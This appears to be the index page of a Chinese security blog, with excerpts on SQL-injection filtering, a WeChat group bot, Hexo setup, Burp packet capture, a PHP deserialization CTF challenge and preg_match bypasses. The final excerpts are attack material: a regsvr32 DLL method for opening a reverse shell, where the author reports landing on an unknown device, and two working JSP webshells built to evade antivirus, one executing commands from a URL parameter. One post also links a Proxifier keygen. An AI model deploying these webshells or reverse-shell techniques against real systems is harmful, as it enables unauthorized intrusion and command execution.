Sql注入
1.常见的SQL注入漏洞主要是由于程序开发过程中不注意规范书写Sql语句以及对特殊字符的不严格过滤,从而导致客户端可以通过全局变量POST和GET提交恶意代码。
2.Fix:基于黑名单、转义、报错
过滤
$filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-";
if((preg_match("/".$filter."/is",$username)== 1) || (preg_match("/".$filter."/is",$password)== 1)){
die();
}
转义
详见EasySQL加固题,这里提供几个函数:
addslashes()
PS:PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测
控制错误信息:
php代码开头添加语句:error_reporting(0);
Read More
Here's something encrypted, password is required to continue reading.
Read More
鸣谢
xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io
简述
因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/ALinuxSimpleWxbot/
帮助/功能文档
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信
改昵称必看(重要)
roomname 群昵称 新老群成员可以使用这个修改在数据库里的群昵称,方便机器人称呼和统计最后发言时间,此功能只有在自己修改了群昵称后需要操作一次
username 群昵称 此指令可以修改在数据库里的微信昵称,如果机器人没有提示请不要操作
以上两条指令,如无必要请不要操作,并且不要同时修改群昵称和微信昵称,不然机器人可能会坏掉
常规指令
help 显示本帮助文档
last 显示本人最后发言时间
search 某人 输出某人的最后发言时间
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈
Read More
鸣谢
xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io
简述
因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/AWindowsSimpleWxbot/
帮助/功能文档
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信,还会每月定时提醒和清理未发言的成员,这个版本比linux版本要强大,但问题是微信版本有限制
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令
常规指令:
help 显示本帮助文档
last 显示本人最后发言时间
search 路人甲,路人乙 输出一个或多个成员的最后发言时间的最后发言时间,要搜索的每个成员之间用英文逗号隔开
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈
注意事项
注意!在群里要积极发言哦!每个月25号会在群内通知这个月还没有发言过的同学,每个月最后一天清除群内未发言同学,希望大家珍惜在群里的机会呀!
当有群成员使用发送反馈时,机器人会向你的主微信账号发送反馈内容,当有新群员加入并发言时,机器人会自动记录,如果新人一个月没有发言也将被移出
为了方便地手动操作数据库,还有一个sqlop.py文件,这个python程序提供了简单管理sqlite数据库的条件,运行该程序,并输入相应数据库语句来对你的数据库进行操作。
用get请求访问服务器8080端口下的/check 路径可以检查机器人是否掉线
Read More
简述
因为想总结一下博客的搭建过程,但是忘记都改了什么地方,所以干脆直接重新搭建一次好了
基本安装
首先我们要在设备上安装nodejs,我这里使用的是termux环境,其他linux环境和windows环境应该大同小异,执行以下命令以安装基础包:
pkg install nodejs
然后安装hexo,这里是hexo官方的安装方法
npm install hexo-cli -g
hexo init blog
cd blog
npm install
hexo server
主题安装
这里安装了freemind-bithack这个主题,后面我们会改动这个主题,使其更加实用
安装命令:
cd blog/theme
git clone https://github.com/Ares-X/hexo-theme-freemind.bithack
mv hexo-theme-freemind.bithack freemind.bithack
npm install hexo-tag-bootstrap --save
npm install hexo-generator-search --save
Read More
小程序抓包
工具准备
先在官网下载抓包工具以及proxifier官方版本:
https://www.proxifier.com/download/
然后下载proxifier破解注册机:
https://github.com/y9nhjy/Proxifier-Keygen
在安装了proxifier的机器上运行注册机,得到序列码,激活并运行proxifier
基本配置
Burpsuit
在Proxy—->Options里设置代理端口等,我这里设置了监听本地8080端口:
![](/images/spcapture/cap1.JPG)
然后点击下方的“Import/export CA certificate”,将证书文件导出,然后win+r,输入certmgr.msc打开证书管理器,在“受到信任的证书”处点击,右键导入新的证书:
![](/images/spcapture/cap2.JPG)
然后将burp的证书导入
Burp小技巧
启用远程代理
我们进入Proxy选项的设置中,在proxy listener处添加一个有specific address的代理,这里的specific address填写抓包电脑的内网地址,端口填写想要的端口:
![](/images/spcapture/cap5.JPG)
设置好之后就可以让局域网中的其他设备通过burp的代理抓包了
启用HTTP 1.0
Read More
题目简述
题目给出了这样的代码:
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>
提示有Hanxin.exe.php的页面,打开查看:
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);
public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
public $Chant = '';
public $Spear_Owner = 'Nobody';
function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
?>
同时,网页下面还有这样的回显:
Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:15:”夺命十三枪”;s:11:”Spear_Owner”;s:6:”Nobody”;}
Far away from COOL…
注意:在php中,中文的字符串长度是根据所占字节来决定的,utf-8编码下每个中文字符所占字节为3,所以夺命十三枪的长度是15
题目的大致意思,是让我们通过chant传参,将Spear_Owner改为Maolei,同时,我们传入的参数会根据一定规则被替换
逐步题解
Read More
简述
最近做了一些题目,总结一下关于preg_match()绕过技巧:
最大回溯次数绕过 无版本限制
在php中,为了防止正则表达式的贪婪匹配遇到过长的字符串时响应太慢,甚至系统崩溃的问题,php限制了回溯次数,一旦超过这个次数,preg_match函数就会返回false,所以我们可以构建一个超长的字符串来使preg_match返回false,举个例子:
/sys.*nb/is
以上是一个正则表达式,用于匹配sysnb,且不管sys和nb中间出现什么都会匹配到sysnb。
这是我们可以输入一个字符串,sysnb在开头,然后后面加上垃圾字符(重复使用相同的字符可能会被发现),当preg_match识别到sys,它并不会马上识别后面的nb,由于贪婪匹配的原因,它会从字符串的最后开始数,直至遇见nb,但是我们的nb在最前面,它一直回溯就会超过最大次数,于是返回false,以下给出脚本:
import requests
a='acb'*1000000
string="sys nb"+a
data = {
"xdmtql":string
}
r = requests.post("http://af277385-c08e-4b09-8a79-374fc1f553d5.www.polarctf.com:8090/",data=data)
print(r.text)
需要注意的是,如果正则为:
/sys.*?nb/is
这种办法就没用了,因为”?”将贪婪匹配转为了懒惰匹配,只匹配到一个sysnb就收工。同时如果preg使用了强等于,即===,此方法也失效
注意:具体的最大回溯次数可以在phpinfo中的PCRE项的配置中查看
Read More
简述
最近在渗透一台比较老,环境比较不完整的机子时,尝试反弹shell出了很多乱七八糟的问题,在尝试nc,msf等常规上传方法失败后,找到一种小众的方法,通过windows自带的regsvr32反注册dll文件来坦shell,用nc连接
具体方法
先下载这个MFC服务配置端:
MFC服务配置端口
首先我们先在这个MFC服务配置端里根据目标的架构生成dll文件:
![](/images/shitsheet2/ss2-1.JPG)
ip地址填自己的ip,端口号选择一个喜欢的,其他信息随便填(不填也可以),下面根据架构,点击生成dll文件
在本地开启nc的端口监听,将dll上传到目标机器,使用指令:
regsvr32 /s /u 你上传的server.dll文件
来反弹shell,当nc有反应,就代表连接成功
吐槽
我用这个方法,虽然成功反弹了shell,但神奇的是,反弹的不是我上传的目标机器的shell,而是反弹了一台不知道是什么设备的shell,而且里面还有重要文件,权限也是admin,赚麻了,也怕了。十分恶心的是,这个shell不仅10秒断一次,而且每次重连还要换端口,恶心人有个度啊。
Read More
简述
最近在渗透的时候遇到需要上传jsp一句话的情况,因为目标机器有360,而且比较老旧,很多jsp一句话不是被杀就是跑不了,更有甚者上传了能执行但是连不上蚁剑,后来获取了两个不错的马,记录一下
免杀连接蚁剑jsp
<%!class AFKZ extends ClassLoader{ AFKZ(ClassLoader NGOK){ super(NGOK); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("bypass");if(cls!=null){ new AFKZ(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
这款比较适合旧的机子,而且蚁剑能连上
密码:bypass
普通免杀jsp
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
这款比较普通,密码:cmd
xxx.jsp?cmd=你想执行的代码
碎碎念
好久没归纳了,感觉要被大家超过了
Read More